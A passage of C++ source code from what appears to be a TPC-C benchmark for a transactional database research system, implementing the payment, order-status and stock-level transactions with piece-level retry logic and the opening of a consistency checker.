void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_TPCC_PAYMENT);
db->init_txn(txn, cgraph, payment_type);
scoped_str_arena s_arena(arena);
scoped_multilock<spinlock> mlock;
if (g_enable_partition_locks) {
mlock.enq(LockForPartition(warehouse_id));
if (PartitionId(customerWarehouseID) != PartitionId(warehouse_id))
mlock.enq(LockForPartition(customerWarehouseID));
mlock.multilock();
}
if (customerWarehouseID != warehouse_id)
++evt_tpcc_cross_partition_payment_txns;
try {
ssize_t ret = 0;
//[CUSTOMER]
// XXX(Conrad): dep_piece_id 9
customer_piece:
customer::key k_c;
customer::value v_c;
try {
db->mul_ops_begin(txn);
if (RandomNumber(r, 1, 100) <= 60) {
// cust by name
uint8_t lastname_buf[CustomerLastNameMaxSize + 1];
static_assert(sizeof(lastname_buf) == 16, "xx");
NDB_MEMSET(lastname_buf, 0, sizeof(lastname_buf));
GetNonUniformCustomerLastNameRun(lastname_buf, r);
static const string zeros(16, 0);
static const string ones(16, 255);
customer_name_idx::key k_c_idx_0;
k_c_idx_0.c_w_id = customerWarehouseID;
k_c_idx_0.c_d_id = customerDistrictID;
k_c_idx_0.c_last.assign((const char *) lastname_buf, 16);
k_c_idx_0.c_first.assign(zeros);
customer_name_idx::key k_c_idx_1;
k_c_idx_1.c_w_id = customerWarehouseID;
k_c_idx_1.c_d_id = customerDistrictID;
k_c_idx_1.c_last.assign((const char *) lastname_buf, 16);
k_c_idx_1.c_first.assign(ones);
static_limit_callback<NMaxCustomerIdxScanElems> c(s_arena.get(), true); // probably a safe bet for now
// XXX(Conrad): Scan operator, need to decide?
tbl_customer_name_idx(customerWarehouseID)->scan(txn, Encode(obj_key0, k_c_idx_0), &Encode(obj_key1, k_c_idx_1), c, s_arena.get());
ALWAYS_ASSERT(c.size() > 0);
INVARIANT(c.size() < NMaxCustomerIdxScanElems); // we should detect this
int index = c.size() / 2;
if (c.size() % 2 == 0)
index--;
evt_avg_cust_name_idx_scan_size.offer(c.size());
customer_name_idx::value v_c_idx_temp;
const customer_name_idx::value *v_c_idx = Decode(*c.values[index].second, v_c_idx_temp);
k_c.c_w_id = customerWarehouseID;
k_c.c_d_id = customerDistrictID;
k_c.c_id = v_c_idx->c_id;
// XXX(Conrad): access_id 11 - read customer
ALWAYS_ASSERT(tbl_customer(customerWarehouseID)->get(
txn, Encode(obj_key0, k_c), obj_v,
std::string::npos,
policy->is_occ(true, 11, false)));
Decode(obj_v, v_c);
} else {
// cust by ID
const uint customerID = GetCustomerId(r);
k_c.c_w_id = customerWarehouseID;
k_c.c_d_id = customerDistrictID;
k_c.c_id = customerID;
// XXX(Conrad): access_id 11 - read customer
ALWAYS_ASSERT(tbl_customer(customerWarehouseID)->get(
txn, Encode(obj_key0, k_c), obj_v,
std::string::npos,
policy->is_occ(true, 11, false)));
Decode(obj_v, v_c);
}
checker::SanityCheckCustomer(&k_c, &v_c);
customer::value v_c_new(v_c);
v_c_new.c_balance -= paymentAmount;
v_c_new.c_ytd_payment += paymentAmount;
v_c_new.c_payment_cnt++;
if (strncmp(v_c.c_credit.data(), "BC", 2) == 0) {
char buf[501];
int n = snprintf(buf, sizeof(buf), "%d %d %d %d %d %f | %s",
k_c.c_id,
k_c.c_d_id,
k_c.c_w_id,
districtID,
warehouse_id,
paymentAmount,
v_c.c_data.c_str());
v_c_new.c_data.resize_junk(
min(static_cast<size_t>(n), v_c_new.c_data.max_size()));
NDB_MEMCPY((void *) v_c_new.c_data.data(), &buf[0], v_c_new.c_data.size());
}
// XXX(Conrad): access_id 12 - write customer
tbl_customer(customerWarehouseID)->put(
txn, Encode(str(), k_c), Encode(obj_v, v_c_new),
policy->is_occ(false, 12, false));
if(!db->mul_ops_end(txn))
goto customer_piece;
} catch(piece_abort_exception &ex) {
db->atomic_ops_abort(txn);
goto customer_piece;
}
//[WH]
// XXX(Conrad): dep_piece_id 10
const warehouse::key k_w(warehouse_id);
// XXX(Conrad): access_id 13 - read warehouse
ALWAYS_ASSERT(tbl_warehouse(warehouse_id)->get(
txn, Encode(obj_key0, k_w), obj_v,
std::string::npos,
policy->is_occ(true, 13, false)));
warehouse::value v_w_temp;
const warehouse::value *v_w = Decode(obj_v, v_w_temp);
checker::SanityCheckWarehouse(&k_w, v_w);
// warehouse::value v_w_new(*v_w);
// v_w_new.w_ytd += paymentAmount;
// XXX(Conrad): access_id 14 - write warehouse
// tbl_warehouse(warehouse_id)->put(
//txn, Encode(str(), k_w), Encode(obj_v, v_w_new),
//policy->is_occ(false, 14, false));
tbl_warehouse(warehouse_id)->commutative_act(txn, Encode(str(), k_w), payment_wh_act, paymentAmount);
// fprintf(stderr, "wh id %d ytd %f tax %f ytd_delta %f\n", k_w.w_id, v_w->w_ytd, v_w->w_tax, paymentAmount);
//[DISTRICT]
// XXX(Conrad): dep_piece_id 11
const district::key k_d(warehouse_id, districtID);
// XXX(Conrad): access_id 15 - read district
ALWAYS_ASSERT(tbl_district(warehouse_id)->get(
txn, Encode(obj_key0, k_d), obj_v,
std::string::npos,
policy->is_occ(true, 15, false)));
district::value v_d_temp;
const district::value *v_d = Decode(obj_v, v_d_temp);
checker::SanityCheckDistrict(&k_d, v_d);
// district::value v_d_new(*v_d);
// v_d_new.d_ytd += paymentAmount;
// XXX(Conrad): access_id 16 - write district
// tbl_district(warehouse_id)->put(
//txn, Encode(str(), k_d), Encode(obj_v, v_d_new),
//policy->is_occ(false, 16, false));
//tbl_district(warehouse_id)->commutative_act(txn, Encode(str(), k_d), payment_dist_act, paymentAmount);
//[HISTORY]
// XXX(Conrad): dep_piece_id 12
uint32_t ts_total_order = (ts << 6) | coreid::core_id();
const history::key k_h(k_c.c_d_id, k_c.c_w_id, k_c.c_id, districtID, warehouse_id, ts_total_order);
history::value v_h;
v_h.h_amount = paymentAmount;
v_h.h_data.resize_junk(v_h.h_data.max_size());
int n = snprintf((char *) v_h.h_data.data(), v_h.h_data.max_size() + 1,
"%.10s %.10s",
v_w->w_name.c_str(),
v_d->d_name.c_str());
v_h.h_data.resize_junk(min(static_cast<size_t>(n), v_h.h_data.max_size()));
const size_t history_sz = Size(v_h);
// XXX(Conrad): access_id 17 - write history
tbl_history(warehouse_id)->insert(
txn, Encode(str(), k_h), Encode(obj_v, v_h), false,
policy->is_occ(false, 17, false));
ret += history_sz;
measure_txn_counters(txn, "txn_payment");
if (likely(db->commit_txn(txn)))
return txn_result(true, ret);
} catch (abstract_db::abstract_abort_exception &ex) {
db->abort_txn(txn);
}
return txn_result(false, 0);
}
#else
class payment_warehouse_update_callback : public update_callback {
public:
payment_warehouse_update_callback(std::string &retrieved_value, std::string &new_value, const warehouse::key *k_w, const float paymentAmount)
: update_callback(retrieved_value, new_value), k_w(k_w), paymentAmount(paymentAmount) {}
virtual void *invoke() {
warehouse::value v_w_temp;
const warehouse::value *v_w = Decode(retrieved_value, v_w_temp);
checker::SanityCheckWarehouse(k_w, v_w);
warehouse::value v_w_new(*v_w);
v_w_new.w_ytd += paymentAmount;
return reinterpret_cast<void *>(&Encode(new_value, v_w_new));
}
private:
const warehouse::key *k_w;
float paymentAmount;
};
class payment_customer_update_callback : public update_callback {
public:
payment_customer_update_callback(std::string &retrieved_value, std::string &new_value, const customer::key *k_c, const uint warehouse_id, const uint districtID, const float paymentAmount)
: update_callback(retrieved_value, new_value), k_c(k_c), warehouse_id(warehouse_id), districtID(districtID), paymentAmount(paymentAmount) {}
virtual void *invoke() {
customer::value v_c;
Decode(retrieved_value, v_c);
checker::SanityCheckCustomer(k_c, &v_c);
customer::value v_c_new(v_c);
v_c_new.c_balance -= paymentAmount;
v_c_new.c_ytd_payment += paymentAmount;
v_c_new.c_payment_cnt++;
if (strncmp(v_c.c_credit.data(), "BC", 2) == 0) {
char buf[501];
int n = snprintf(buf, sizeof(buf), "%d %d %d %d %d %f | %s",
k_c->c_id,
k_c->c_d_id,
k_c->c_w_id,
districtID,
warehouse_id,
paymentAmount,
v_c.c_data.c_str());
v_c_new.c_data.resize_junk(
min(static_cast<size_t>(n), v_c_new.c_data.max_size()));
NDB_MEMCPY((void *) v_c_new.c_data.data(), &buf[0], v_c_new.c_data.size());
}
return reinterpret_cast<void *>(&Encode(new_value, v_c_new));
}
private:
const customer::key *k_c;
const uint warehouse_id;
const uint districtID;
float paymentAmount;
};
class payment_district_update_callback : public update_callback {
public:
payment_district_update_callback(std::string &retrieved_value, std::string &new_value, const district::key *k_d, const float paymentAmount)
: update_callback(retrieved_value, new_value), k_d(k_d), paymentAmount(paymentAmount) {}
virtual void *invoke() {
district::value v_d_temp;
const district::value *v_d = Decode(retrieved_value, v_d_temp);
checker::SanityCheckDistrict(k_d, v_d);
district::value v_d_new(*v_d);
v_d_new.d_ytd += paymentAmount;
return reinterpret_cast<void *>(&Encode(new_value, v_d_new));
}
private:
const district::key *k_d;
float paymentAmount;
};
#define TXN_PAYMENT_LIST(x) \
x(11) \
x(13) \
x(15) \
x(17)
#define TXN_PAYMENT_PIECE_RETRY(a) \
case a: \
{ \
goto piece_retry_##a; \
break; \
}
// std::cerr << "goto " << #a <<std::endl;
tpcc_worker::txn_result
tpcc_worker::txn_payment()
{
const uint warehouse_id = PickWarehouseId(r, warehouse_id_start, warehouse_id_end);
const uint districtID = RandomNumber(r, 1, NumDistrictsPerWarehouse());
uint customerDistrictID, customerWarehouseID;
if (likely(g_disable_xpartition_txn ||
NumWarehouses() == 1 ||
RandomNumber(r, 1, 100) <= 85)) {
customerDistrictID = districtID;
customerWarehouseID = warehouse_id;
} else {
customerDistrictID = RandomNumber(r, 1, NumDistrictsPerWarehouse());
do {
customerWarehouseID = RandomNumber(r, 1, NumWarehouses());
} while (customerWarehouseID == warehouse_id);
}
const float paymentAmount = (float) (RandomNumber(r, 100, 500000) / 100.0);
const uint32_t ts = GetCurrentTimeMillis();
INVARIANT(!g_disable_xpartition_txn || customerWarehouseID == warehouse_id);
// output from txn counters:
// max_absent_range_set_size : 0
// max_absent_set_size : 0
// max_node_scan_size : 10
// max_read_set_size : 71
// max_write_set_size : 1
// num_txn_contexts : 5
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_TPCC_PAYMENT);
db->init_txn(txn, cgraph, payment_type, policy, pg);
// hack - let the txn know the history of failed records
db->set_failed_records(txn, failed_records);
scoped_str_arena s_arena(arena);
scoped_multilock<spinlock> mlock;
if (g_enable_partition_locks) {
mlock.enq(LockForPartition(warehouse_id));
if (PartitionId(customerWarehouseID) != PartitionId(warehouse_id))
mlock.enq(LockForPartition(customerWarehouseID));
mlock.multilock();
}
if (customerWarehouseID != warehouse_id)
++evt_tpcc_cross_partition_payment_txns;
try {
ssize_t ret = 0;
std::pair<bool, uint32_t> expose_ret;
#ifdef USE_UPDATE_FUNC
piece_retry_11:
//[WH]
const warehouse::key k_w(warehouse_id);
// access_id 9 - read & write warehouse
payment_warehouse_update_callback w_c(obj_v, str(), &k_w, paymentAmount);
tbl_warehouse(warehouse_id)->update(
txn, Encode(str(), k_w), obj_v, &w_c, 9 /*access_id*/);
expose_ret = db->expose_uncommitted(txn, 9 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_PAYMENT_LIST(TXN_PAYMENT_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
#else
piece_retry_11:
//[WH]
const warehouse::key k_w(warehouse_id);
// access_id 11 - read warehouse
ALWAYS_ASSERT(tbl_warehouse(warehouse_id)->get(
txn, Encode(obj_key0, k_w), obj_v, std::string::npos, 11 /*access_id*/));
expose_ret = db->expose_uncommitted(txn, 11 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_PAYMENT_LIST(TXN_PAYMENT_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_12:
warehouse::value v_w_temp;
const warehouse::value *v_w = Decode(obj_v, v_w_temp);
checker::SanityCheckWarehouse(&k_w, v_w);
warehouse::value v_w_new(*v_w);
v_w_new.w_ytd += paymentAmount;
// access_id 12 - write warehouse
tbl_warehouse(warehouse_id)->put(
txn, Encode(str(), k_w), Encode(str(), v_w_new), 12 /*access_id*/);
expose_ret = db->expose_uncommitted(txn, 12 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_PAYMENT_LIST(TXN_PAYMENT_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
#endif
#ifdef USE_UPDATE_FUNC
//[DISTRICT]
const district::key k_d(warehouse_id, districtID);
// access_id 10 - read & write district
payment_district_update_callback d_c(obj_v, str(), &k_d, paymentAmount);
tbl_district(warehouse_id)->update(
txn, Encode(str(), k_d), obj_v, &d_c, 10 /*access_id*/);
#else
piece_retry_13:
//[DISTRICT]
const district::key k_d(warehouse_id, districtID);
// access_id 13 - read district
ALWAYS_ASSERT(tbl_district(warehouse_id)->get(
txn, Encode(obj_key0, k_d), obj_v, std::string::npos, 13 /*access_id*/));
expose_ret = db->expose_uncommitted(txn, 13 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_PAYMENT_LIST(TXN_PAYMENT_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_14:
district::value v_d_temp;
const district::value *v_d = Decode(obj_v, v_d_temp);
checker::SanityCheckDistrict(&k_d, v_d);
district::value v_d_new(*v_d);
v_d_new.d_ytd += paymentAmount;
// access_id 14 - write district
tbl_district(warehouse_id)->put(
txn, Encode(str(), k_d), Encode(str(), v_d_new), 14 /*access_id*/);
expose_ret = db->expose_uncommitted(txn, 14 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_PAYMENT_LIST(TXN_PAYMENT_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
#endif
piece_retry_15:
//[CUSTOMER]
customer::key k_c;
if (RandomNumber(r, 1, 100) <= 60) {
// cust by name
uint8_t lastname_buf[CustomerLastNameMaxSize + 1];
static_assert(sizeof(lastname_buf) == 16, "xx");
NDB_MEMSET(lastname_buf, 0, sizeof(lastname_buf));
GetNonUniformCustomerLastNameRun(lastname_buf, r);
static const string zeros(16, 0);
static const string ones(16, 255);
customer_name_idx::key k_c_idx_0;
k_c_idx_0.c_w_id = customerWarehouseID;
k_c_idx_0.c_d_id = customerDistrictID;
k_c_idx_0.c_last.assign((const char *) lastname_buf, 16);
k_c_idx_0.c_first.assign(zeros);
customer_name_idx::key k_c_idx_1;
k_c_idx_1.c_w_id = customerWarehouseID;
k_c_idx_1.c_d_id = customerDistrictID;
k_c_idx_1.c_last.assign((const char *) lastname_buf, 16);
k_c_idx_1.c_first.assign(ones);
static_limit_callback<NMaxCustomerIdxScanElems> c(s_arena.get(), true); // probably a safe bet for now
// scan
// TODO - scan default using ic3's implementation, should seprate into two actions
tbl_customer_name_idx(customerWarehouseID)->scan(txn, Encode(obj_key0, k_c_idx_0), &Encode(obj_key1, k_c_idx_1), c, s_arena.get());
ALWAYS_ASSERT(c.size() > 0);
INVARIANT(c.size() < NMaxCustomerIdxScanElems); // we should detect this
int index = c.size() / 2;
if (c.size() % 2 == 0)
index--;
evt_avg_cust_name_idx_scan_size.offer(c.size());
customer_name_idx::value v_c_idx_temp;
const customer_name_idx::value *v_c_idx = Decode(*c.values[index].second, v_c_idx_temp);
k_c.c_w_id = customerWarehouseID;
k_c.c_d_id = customerDistrictID;
k_c.c_id = v_c_idx->c_id;
} else {
// cust by ID
const uint customerID = GetCustomerId(r);
k_c.c_w_id = customerWarehouseID;
k_c.c_d_id = customerDistrictID;
k_c.c_id = customerID;
}
#ifdef USE_UPDATE_FUNC
// access_id 11 - read & write customer
payment_customer_update_callback c_c(obj_v, str(), &k_c, warehouse_id, districtID, paymentAmount);
tbl_customer(customerWarehouseID)->update(
txn, Encode(str(), k_c), obj_v, &c_c, 11 /*access_id*/);
#else
customer::value v_c;
// access_id 15 - read customer
ALWAYS_ASSERT(tbl_customer(customerWarehouseID)->get(
txn, Encode(obj_key0, k_c), obj_v, std::string::npos, 15 /*access_id*/));
Decode(obj_v, v_c);
expose_ret = db->expose_uncommitted(txn, 15 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_PAYMENT_LIST(TXN_PAYMENT_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_16:
checker::SanityCheckCustomer(&k_c, &v_c);
customer::value v_c_new(v_c);
v_c_new.c_balance -= paymentAmount;
v_c_new.c_ytd_payment += paymentAmount;
v_c_new.c_payment_cnt++;
if (strncmp(v_c.c_credit.data(), "BC", 2) == 0) {
char buf[501];
int n = snprintf(buf, sizeof(buf), "%d %d %d %d %d %f | %s",
k_c.c_id,
k_c.c_d_id,
k_c.c_w_id,
districtID,
warehouse_id,
paymentAmount,
v_c.c_data.c_str());
v_c_new.c_data.resize_junk(
min(static_cast<size_t>(n), v_c_new.c_data.max_size()));
NDB_MEMCPY((void *) v_c_new.c_data.data(), &buf[0], v_c_new.c_data.size());
}
// access_id 16 - write customer
tbl_customer(customerWarehouseID)->put(
txn, Encode(str(), k_c), Encode(str(), v_c_new), 16 /*access_id*/);
expose_ret = db->expose_uncommitted(txn, 16 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_PAYMENT_LIST(TXN_PAYMENT_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
#endif
piece_retry_17:
//[HISTORY]
uint32_t ts_total_order = (ts << 6) | coreid::core_id();
const history::key k_h(k_c.c_id, k_c.c_d_id, k_c.c_w_id, districtID, warehouse_id, ts_total_order);
history::value v_h;
v_h.h_amount = paymentAmount;
v_h.h_data.resize_junk(v_h.h_data.max_size());
int n = snprintf((char *) v_h.h_data.data(), v_h.h_data.max_size() + 1,
"%.10s %.10s",
"v_w",
"v_d");
v_h.h_data.resize_junk(min(static_cast<size_t>(n), v_h.h_data.max_size()));
const size_t history_sz = Size(v_h);
// access_id 17 - write history / insert history
tbl_history(warehouse_id)->insert(
txn, Encode(str(), k_h), Encode(str(), v_h), 17 /*access_id*/);
ret += history_sz;
expose_ret = db->expose_uncommitted(txn, 17 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_PAYMENT_LIST(TXN_PAYMENT_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
measure_txn_counters(txn, "txn_payment");
// if (likely(db->commit_txn(txn)))
// return txn_result(true, payment_type);
bool res = db->commit_txn(txn);
set_failed_records(db->get_failed_records(txn));
finished_txn_contention = db->get_txn_contention(txn);
return txn_result(res, payment_type);
} catch(transaction_abort_exception &ex) {
db->abort_txn(txn);
} catch (abstract_db::abstract_abort_exception &ex) {
db->abort_txn(txn);
}
return txn_result(false, payment_type);
}
#endif
#undef TXN_PAYMENT_PIECE_RETRY
class order_line_nop_callback : public abstract_ordered_index::scan_callback {
public:
order_line_nop_callback() : n(0) {}
virtual bool invoke(
const char *keyp, size_t keylen,
const string &value)
{
INVARIANT(keylen == sizeof(order_line::key));
order_line::value v_ol_temp;
const order_line::value *v_ol UNUSED = Decode(value, v_ol_temp);
#ifdef CHECK_INVARIANTS
order_line::key k_ol_temp;
const order_line::key *k_ol = Decode(keyp, k_ol_temp);
checker::SanityCheckOrderLine(k_ol, v_ol);
#endif
++n;
return true;
}
size_t n;
};
STATIC_COUNTER_DECL(scopedperf::tod_ctr, order_status_probe0_tod, order_status_probe0_cg)
tpcc_worker::txn_result
tpcc_worker::txn_order_status()
{
const uint warehouse_id = PickWarehouseId(r, warehouse_id_start, warehouse_id_end);
const uint districtID = RandomNumber(r, 1, NumDistrictsPerWarehouse());
// output from txn counters:
// max_absent_range_set_size : 0
// max_absent_set_size : 0
// max_node_scan_size : 13
// max_read_set_size : 81
// max_write_set_size : 0
// num_txn_contexts : 4
const uint64_t read_only_mask =
g_disable_read_only_scans ? 0 : transaction_base::TXN_FLAG_READ_ONLY;
const abstract_db::TxnProfileHint hint =
g_disable_read_only_scans ?
abstract_db::HINT_TPCC_ORDER_STATUS :
abstract_db::HINT_TPCC_ORDER_STATUS_READ_ONLY;
void *txn = db->new_txn(txn_flags | read_only_mask, arena, txn_buf(), hint);
scoped_str_arena s_arena(arena);
// NB: since txn_order_status() is a RO txn, we assume that
// locking is un-necessary (since we can just read from some old snapshot)
try {
customer::key k_c;
customer::value v_c;
if (RandomNumber(r, 1, 100) <= 60) {
// cust by name
uint8_t lastname_buf[CustomerLastNameMaxSize + 1];
static_assert(sizeof(lastname_buf) == 16, "xx");
NDB_MEMSET(lastname_buf, 0, sizeof(lastname_buf));
GetNonUniformCustomerLastNameRun(lastname_buf, r);
static const string zeros(16, 0);
static const string ones(16, 255);
customer_name_idx::key k_c_idx_0;
k_c_idx_0.c_w_id = warehouse_id;
k_c_idx_0.c_d_id = districtID;
k_c_idx_0.c_last.assign((const char *) lastname_buf, 16);
k_c_idx_0.c_first.assign(zeros);
customer_name_idx::key k_c_idx_1;
k_c_idx_1.c_w_id = warehouse_id;
k_c_idx_1.c_d_id = districtID;
k_c_idx_1.c_last.assign((const char *) lastname_buf, 16);
k_c_idx_1.c_first.assign(ones);
static_limit_callback<NMaxCustomerIdxScanElems> c(s_arena.get(), true); // probably a safe bet for now
tbl_customer_name_idx(warehouse_id)->scan(txn, Encode(obj_key0, k_c_idx_0), &Encode(obj_key1, k_c_idx_1), c, s_arena.get());
ALWAYS_ASSERT(c.size() > 0);
INVARIANT(c.size() < NMaxCustomerIdxScanElems); // we should detect this
int index = c.size() / 2;
if (c.size() % 2 == 0)
index--;
evt_avg_cust_name_idx_scan_size.offer(c.size());
customer_name_idx::value v_c_idx_temp;
const customer_name_idx::value *v_c_idx = Decode(*c.values[index].second, v_c_idx_temp);
k_c.c_w_id = warehouse_id;
k_c.c_d_id = districtID;
k_c.c_id = v_c_idx->c_id;
ALWAYS_ASSERT(tbl_customer(warehouse_id)->get(txn, Encode(obj_key0, k_c), obj_v));
Decode(obj_v, v_c);
} else {
// cust by ID
const uint customerID = GetCustomerId(r);
k_c.c_w_id = warehouse_id;
k_c.c_d_id = districtID;
k_c.c_id = customerID;
ALWAYS_ASSERT(tbl_customer(warehouse_id)->get(txn, Encode(obj_key0, k_c), obj_v));
Decode(obj_v, v_c);
}
checker::SanityCheckCustomer(&k_c, &v_c);
string *newest_o_c_id = s_arena.get()->next();
if (g_order_status_scan_hack) {
// XXX(stephentu): HACK- we bound the # of elems returned by this scan to
// 15- this is because we don't have reverse scans. In an ideal system, a
// reverse scan would only need to read 1 btree node. We could simulate a
// lookup by only reading the first element- but then we would *always*
// read the first order by any customer. To make this more interesting, we
// randomly select which elem to pick within the 1st or 2nd btree nodes.
// This is obviously a deviation from TPC-C, but it shouldn't make that
// much of a difference in terms of performance numbers (in fact we are
// making it worse for us)
latest_key_callback c_oorder(*newest_o_c_id, (r.next() % 15) + 1);
const oorder_c_id_idx::key k_oo_idx_0(warehouse_id, districtID, k_c.c_id, 0);
const oorder_c_id_idx::key k_oo_idx_1(warehouse_id, districtID, k_c.c_id, numeric_limits<int32_t>::max());
{
ANON_REGION("OrderStatusOOrderScan:", &order_status_probe0_cg);
tbl_oorder_c_id_idx(warehouse_id)->scan(txn, Encode(obj_key0, k_oo_idx_0), &Encode(obj_key1, k_oo_idx_1), c_oorder, s_arena.get());
}
ALWAYS_ASSERT(c_oorder.size());
} else {
latest_key_callback c_oorder(*newest_o_c_id, 1);
const oorder_c_id_idx::key k_oo_idx_hi(warehouse_id, districtID, k_c.c_id, numeric_limits<int32_t>::max());
tbl_oorder_c_id_idx(warehouse_id)->rscan(txn, Encode(obj_key0, k_oo_idx_hi), nullptr, c_oorder, s_arena.get());
ALWAYS_ASSERT(c_oorder.size() == 1);
}
oorder_c_id_idx::key k_oo_idx_temp;
const oorder_c_id_idx::key *k_oo_idx = Decode(*newest_o_c_id, k_oo_idx_temp);
const uint o_id = k_oo_idx->o_o_id;
order_line_nop_callback c_order_line;
const order_line::key k_ol_0(warehouse_id, districtID, o_id, 0);
const order_line::key k_ol_1(warehouse_id, districtID, o_id, numeric_limits<int32_t>::max());
tbl_order_line(warehouse_id)->scan(txn, Encode(obj_key0, k_ol_0), &Encode(obj_key1, k_ol_1), c_order_line, s_arena.get());
ALWAYS_ASSERT(c_order_line.n >= 5 && c_order_line.n <= 15);
measure_txn_counters(txn, "txn_order_status");
if (likely(db->commit_txn(txn)))
return txn_result(true, 0);
} catch (abstract_db::abstract_abort_exception &ex) {
db->abort_txn(txn);
}
return txn_result(false, 0);
}
class order_line_scan_callback : public abstract_ordered_index::scan_callback {
public:
order_line_scan_callback() : n(0) {}
virtual bool invoke(
const char *keyp, size_t keylen,
const string &value)
{
INVARIANT(keylen == sizeof(order_line::key));
order_line::value v_ol_temp;
const order_line::value *v_ol = Decode(value, v_ol_temp);
#ifdef CHECK_INVARIANTS
order_line::key k_ol_temp;
const order_line::key *k_ol = Decode(keyp, k_ol_temp);
checker::SanityCheckOrderLine(k_ol, v_ol);
#endif
s_i_ids[v_ol->ol_i_id] = 1;
n++;
return true;
}
size_t n;
small_unordered_map<uint, bool, 512> s_i_ids;
};
STATIC_COUNTER_DECL(scopedperf::tod_ctr, stock_level_probe0_tod, stock_level_probe0_cg)
STATIC_COUNTER_DECL(scopedperf::tod_ctr, stock_level_probe1_tod, stock_level_probe1_cg)
STATIC_COUNTER_DECL(scopedperf::tod_ctr, stock_level_probe2_tod, stock_level_probe2_cg)
static event_avg_counter evt_avg_stock_level_loop_join_lookups("stock_level_loop_join_lookups");
tpcc_worker::txn_result
tpcc_worker::txn_stock_level()
{
const uint warehouse_id = PickWarehouseId(r, warehouse_id_start, warehouse_id_end);
const uint threshold = RandomNumber(r, 10, 20);
const uint districtID = RandomNumber(r, 1, NumDistrictsPerWarehouse());
// output from txn counters:
// max_absent_range_set_size : 0
// max_absent_set_size : 0
// max_node_scan_size : 19
// max_read_set_size : 241
// max_write_set_size : 0
// n_node_scan_large_instances : 1
// n_read_set_large_instances : 2
// num_txn_contexts : 3
const uint64_t read_only_mask =
g_disable_read_only_scans ? 0 : transaction_base::TXN_FLAG_READ_ONLY;
const abstract_db::TxnProfileHint hint =
g_disable_read_only_scans ?
abstract_db::HINT_TPCC_STOCK_LEVEL :
abstract_db::HINT_TPCC_STOCK_LEVEL_READ_ONLY;
void *txn = db->new_txn(txn_flags | read_only_mask, arena, txn_buf(), hint);
scoped_str_arena s_arena(arena);
// NB: since txn_stock_level() is a RO txn, we assume that
// locking is un-necessary (since we can just read from some old snapshot)
try {
const district::key k_d(warehouse_id, districtID);
ALWAYS_ASSERT(tbl_district(warehouse_id)->get(txn, Encode(obj_key0, k_d), obj_v));
district::value v_d_temp;
const district::value *v_d = Decode(obj_v, v_d_temp);
checker::SanityCheckDistrict(&k_d, v_d);
const uint64_t cur_next_o_id = g_new_order_fast_id_gen ?
NewOrderIdHolder(warehouse_id, districtID).load(memory_order_acquire) :
v_d->d_next_o_id;
// manual joins are fun!
order_line_scan_callback c;
const int32_t lower = cur_next_o_id >= 20 ? (cur_next_o_id - 20) : 0;
const order_line::key k_ol_0(warehouse_id, districtID, lower, 0);
const order_line::key k_ol_1(warehouse_id, districtID, cur_next_o_id, 0);
{
ANON_REGION("StockLevelOrderLineScan:", &stock_level_probe0_cg);
tbl_order_line(warehouse_id)->scan(txn, Encode(obj_key0, k_ol_0), &Encode(obj_key1, k_ol_1), c, s_arena.get());
}
{
small_unordered_map<uint, bool, 512> s_i_ids_distinct;
for (auto &p : c.s_i_ids) {
ANON_REGION("StockLevelLoopJoinIter:", &stock_level_probe1_cg);
const size_t nbytesread = serializer<int16_t, true>::max_nbytes();
const stock::key k_s(warehouse_id, p.first);
INVARIANT(p.first >= 1 && p.first <= NumItems());
{
ANON_REGION("StockLevelLoopJoinGet:", &stock_level_probe2_cg);
ALWAYS_ASSERT(tbl_stock(warehouse_id)->get(txn, Encode(obj_key0, k_s), obj_v, nbytesread));
}
INVARIANT(obj_v.size() <= nbytesread);
const uint8_t *ptr = (const uint8_t *) obj_v.data();
int16_t i16tmp;
ptr = serializer<int16_t, true>::read(ptr, &i16tmp);
if (i16tmp < int(threshold))
s_i_ids_distinct[p.first] = 1;
}
evt_avg_stock_level_loop_join_lookups.offer(c.s_i_ids.size());
// NB(stephentu): s_i_ids_distinct.size() is the computed result of this txn
}
measure_txn_counters(txn, "txn_stock_level");
if (likely(db->commit_txn(txn)))
return txn_result(true, 0);
} catch (abstract_db::abstract_abort_exception &ex) {
db->abort_txn(txn);
}
return txn_result(false, 0);
}
template <typename T>
static vector<T>
unique_filter(const vector<T> &v)
{
set<T> seen;
vector<T> ret;
for (auto &e : v)
if (!seen.count(e)) {
ret.emplace_back(e);
seen.insert(e);
}
return ret;
}
#define EPSILON 0.001
class tpcc_bench_checker : public bench_checker, public tpcc_worker_mixin{
typedef bool(tpcc_bench_checker::*check_func)();
public:
tpcc_bench_checker(abstract_db *db,
const map<string, abstract_ordered_index *> &open_tables,
const map<string, vector<abstract_ordered_index *>> &partitions)
: bench_checker(db, open_tables),
tpcc_worker_mixin(partitions)
{}
protected:
virtual void check();
inline ALWAYS_INLINE string &
str()
{
return *arena.next();
}
private:
static const int n = 12;
static const check_func check_funcs[n];
// tbl: warehouse, district
bool check_consistency_1();
// tbl: district, order, new_order
bool check_consistency_2();
// tbl: new_order
bool check_consistency_3();
// tbl: order, order_line
bool check_consistency_4();
// tbl: order, new_order
bool check_consistency_5();
// tbl: order, order_line
bool check_consistency_6();
// tbl: order, order_line
bool check_consistency_7();
// tbl: warehouse, history
bool check_consistency_8();
// tbl: district, history
bool check_consistency_9();
// tbl: customer, history, order, order_line
bool check_consistency_10();
